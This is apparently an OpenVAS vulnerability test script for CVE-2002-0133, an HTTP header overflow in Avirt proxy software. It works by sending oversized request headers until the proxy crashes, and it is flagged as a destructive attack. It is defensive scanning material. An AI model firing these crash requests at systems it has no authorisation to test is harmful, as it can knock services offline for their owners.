It was possible to kill the HTTP proxy by
sending an invalid request with a too long header
A cracker may exploit this vulnerability to make your proxy server
crash continually or even execute arbitrary code on your system.
# OpenVAS Vulnerability Test
# $Id: avirt_proxy_overflow.nasl 6702 2017-07-12 13:49:41Z cfischer $
# Description: Header overflow against HTTP proxy
#
# Authors:
# Michel Arboi <[email protected]>
#
# Copyright:
# Copyright (C) 2003 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "It was possible to kill the HTTP proxy by
sending an invalid request with a too long header
A cracker may exploit this vulnerability to make your proxy server
crash continually or even execute arbitrary code on your system.";
tag_solution = "upgrade your software";
# *untested*
# Cf. RFC 1945 & RFC 2068
# Vulnerables:
# Avirt SOHO v4.2
# Avirt Gateway v4.2
# Avirt Gateway Suite v4.2
#
# References:
# Date: Thu, 17 Jan 2002 20:23:28 +0100
# From: "Strumpf Noir Society" <[email protected]>
# To: [email protected]
# Subject: Avirt Proxy Buffer Overflow Vulnerabilities
if(description)
{
script_id(11715);
script_version("$Revision: 6702 $");
script_tag(name:"last_modification", value:"$Date: 2017-07-12 15:49:41 +0200 (Wed, 12 Jul 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_bugtraq_id(3904, 3905);
script_cve_id("CVE-2002-0133");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
name = "Header overflow against HTTP proxy";
script_name(name);
summary = "Too long HTTP header kills the HTTP proxy server";
script_category(ACT_DESTRUCTIVE_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("This script is Copyright (C) 2003 Michel Arboi");
family = "Gain a shell remotely";
script_family(family);
script_dependencies("find_service.nasl", "http_version.nasl");
script_require_ports("Services/www", 8080);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
include("http_func.inc");
port = get_http_port(default:8080);
if (http_is_dead(port: port)) exit(0);
soc = open_sock_tcp(port);
if(! soc) exit(0);
domain = get_kb_item("Settings/third_party_domain");
if(domain)
test_host = string("www.", domain);
else
test_host = "www";
headers = make_list(
string("From: ", crap(2048), "@", crap(2048), ".org"),
string("If-Modified-Since: Sat, 29 Oct 1994 19:43:31 ",
crap(data: "GMT", length: 4096)),
string("Referer: http://", crap(4096), "/"),
# Many other HTTP/1.1 headers...
string("If-Unmodified-Since: Sat, 29 Oct 1994 19:43:31 ",
crap(data: "GMT", length: 2048)) );
r1 = string("GET http://", test_host, "/", rand(), " HTTP/1.0\r\n");
foreach h (headers)
{
r = string(r1, h, "\r\n\r\n");
send(socket:soc, data: r);
r = http_recv(socket:soc);
close(soc);
soc = open_sock_tcp(port);
if (! soc) { security_message(port); exit(0); }
}
close(soc);
if (http_is_dead(port: port)) { security_message(port); exit(0); }